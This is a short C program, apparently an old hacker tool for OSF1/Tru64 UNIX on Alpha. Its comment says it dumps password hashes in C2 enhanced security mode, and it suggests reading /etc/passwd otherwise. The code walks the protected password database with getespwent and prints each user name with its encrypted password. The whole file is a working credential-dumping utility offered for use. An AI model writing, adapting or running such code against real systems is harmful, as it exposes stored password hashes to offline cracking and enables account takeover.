/* cc duche.c -o duche -lsecurity -non_shared dumps password hashes when in C2(ENHANCED) security mode if you aren't in C2 mode then just cat /etc/passwd :P written for OSF1 tru64 V5.1 2650 alpha -- based off of dushad.c satebackire */ #include #include #include #include int main(int argc, char **argv){ es_profile *pass; set_auth_parameters(argc, argv); while( (pass = getespwent()) != NULL ){ printf("[%s=%s]\n", pass->ufld->fd_name, pass->ufld->fd_encrypt); } endprpwent(); return 0; }